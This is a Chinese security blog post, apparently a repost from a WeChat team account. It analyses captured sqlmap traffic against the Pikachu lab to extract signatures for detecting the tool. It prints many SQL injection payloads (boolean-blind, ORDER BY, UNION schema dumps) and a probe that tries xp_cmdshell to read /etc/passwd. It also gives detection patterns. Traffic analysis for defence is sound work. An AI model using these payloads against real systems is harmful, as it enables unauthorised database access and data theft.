SqlMap攻击流量特征分析

admin 2022年4月9日01:38:30安全文章评论98 views5556字阅读18分31秒阅读模式

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

0x01 测试对象

  • 靶场框架:Pikachu

  • 靶场环境:Apache 2.4.39PHP 7.0.9MySql 5.7.2

  • 测试漏洞:Sql注⼊-字符型注⼊

  • 使⽤⼯具:Sqlmap/1.5.8

  • 流量包样本数:5

注:本文所有得出的结论均来源于对该5个流量包分析对结果,因样本数量不多,结论可能存在⼀定局限性

SqlMap攻击流量特征分析

0x02 Sqlmap攻击流程

SqlMap攻击流量特征分析


SqlMap攻击流量特征分析


SqlMap攻击流量特征分析


  1. SqlMap测试目标URL是否能够正常访问

  2. 判断目标URL是否受到WAF保护

  3. 测试注入参数是否是为动态参数和数据库类型

  4. 测试参数是否存在XSS攻击

  5. 对参数进行SQL注入测试    
    ● 判断数据库类型
    ● 使用对应数据库的Payload(布尔盲注、内联注入、时间盲注、报错注入等)进行测试
    ● 发现可被使用的Payload后,使用再使用对应数据库版本的PAYLOAD进行测试(MySQL >=5.5、MySQL >= 5.6 、MySQL >= 5.0.12),获取大致数据库版本
    ● 尝试联合查询读取1 to 20 列数据

  6. 打印结果:可注入的参数、可使用的Payload与注入类型、网站使用的中间件版本、DBMS版本

0x03 抓包分析

PS:由于SqlMap工具产生流量过多,文章仅就关键流量进行分析

SQL注入抓包样本如下:

SqlMap攻击流量特征分析

1.首先当我们当使用sqlmap默认命令

sqlmap -u "http://192.168.68.78/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2"

提交请求时默认的UserAgent为:

sqlmap/1.5.8#stable (http://sqlmap.org)

这样就很容易暴露

GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1
CACHE-CONTROL: no-cache
CONNECTIONclose
USER-AGENT: sqlmap/1.5.8#stable (http://sqlmap.org)
ACCEPT: */*
HOST: 192.168.68.78
ACCEPT-ENCODING: gzip,deflate

一般黑客会在SqlMap添加--random-agent参数,来避免被发现。

可根据上述流量提取攻击特征:
若攻击者使用SqlMap不添加--random-agent参数,则可通过捕获请求包的USER-AGENT字段,来判断攻击者是否在使用SqlMap进行攻击

2.Sqlmap在进行初始监测时会进行一些预检测

GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询&teEu=1187 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')
# HTTP/1.1#判断数据库类型和xss语句
GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=4767&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root(,.,,.)."'&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root'fYzJCd<'"
>QtldwA&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root') AND 4676=7206 AND ('OEeA'='OEeA&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 先使用第一条语句

AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#)

对数据库类型、XSS漏洞进行监测,而这句话几乎每次注入都是不变的,所以可以将这句话作为sqlmap的攻击特征之一

  • 然后判断系统是否存在关键字过滤(,.(,,('."()、('fYzJCd<'">QtldwA)等。

基于特征(关键字)的分析:

  • 关键语句:

AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
  • 关键字:包含( , . ) " '等6种符号随机组成的10位字段,例如 (,.,,.)."'.).,"('(,)

  • 关键字:'([A-Za-z]{6})<'"> ([A-Za-z]{6}),对<'">进行监测

3.Sqlmap开始对参数name进行AND boolean-based blind - WHERE or HAVING clause测试

GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=3093&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin,.(,,('."(&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin'hcmKpa<'">NknGPm&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 9717=5822 AND ('UIrk'='UIrk&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 3051=3051 AND ('gkDr'='gkDr&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 7299=3066 AND 'GVig'='GVig&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 3051=3051 AND 'VCXZ'='VCXZ&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 4314=2816 AND (1784=1784&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 3051=3051 AND (2420=2420&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 5091=7205&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3987=5844-- FTud&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051-- KPrw&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 先改变原有参数值(admin变为3093)判断参数是否为动态参数

  • 然后判断系统是否存在关键字过滤(,.(,,('."()

  • 然后进行布尔盲注的paylad测试

基于特征(关键字)的分析:

正常查询参数+('|)|)  AND ([0-9]{4})=([0-9]{4}) AND ('|)|)+ ([0-9]{4})=([0-9]{4})
正常查询参数+('|)|)  AND ([0-9]{4})=([0-9]{4}) AND ('|)|)+ ([A-Za-z]{4})=([A-Za-z]{4})
正常查询参数+('|)|)  AND ([0-9]{4})=([0-9]{4}) AND  ([0-9]{4})=([0-9]{4})
正常查询参数+('|)|)  AND ([0-9]{4})=([0-9]{4}) AND  ([0-9]{4})=([0-9]{4})-- ([A-Za-z]{4})=([A-Za-z]{4})

name = admin(b('|AND|and|(||`))b)

4.Sqlmap判断数据库表对字段数

GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 1#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 5783#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 10#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 6#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 4#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 3#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 2#&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 先判断是否当前表是否只有1个字段

  • 然后随机判断一个4位数字段

  • 最后值从10、6、4、3、2

基于特征(关键字)的分析:

  • ORDER BY

5.Sqlmap获取数据库字段

样本1:
GET /pikachu/vul/sqli/sqli_str.php?name=root' UNION ALL SELECT CONCAT(0x71707a7071,JSON_ARRAYAGG(CONCAT_WS(0x716c6a757373,schema_name)),0x71716a7a71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1

样本2:
GET /pikachu/vul/sqli/sqli_str.php?name=admin' UNION ALL SELECT CONCAT(0x7170786271,JSON_ARRAYAGG(CONCAT_WS(0x787463776368,schema_name)),0x71787a6b71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1


SqlMap攻击流量特征分析

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 当查询dbs时,sqlmap会先查询数据库版本,再查询可使用的数据库

基于特征(关键字)的分析:

正常查询参数+' UNION ALL SELECT CONCAT(16进制数,JSON_ARRAYAGG(CONCAT_WS(16进制数,schema_name)),16进制数),NULL FROM [email protected]#

0x04 Sqlmap特征总结

  • SqlMap的关键字特征:user-agent、 xss测试语句、随机数的位数

  • SqlMap的攻击流程具有一定的顺序和规律

  • SqlMap的一些Payload测试语句具有模板特征

我是Asaotomo,我在渊龙Sec安全团队等你

微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!

SqlMap攻击流量特征分析

原文始发于微信公众号(渊龙Sec安全团队):SqlMap攻击流量特征分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日01:38:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  SqlMap攻击流量特征分析 http://cn-sec.com/archives/890141.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: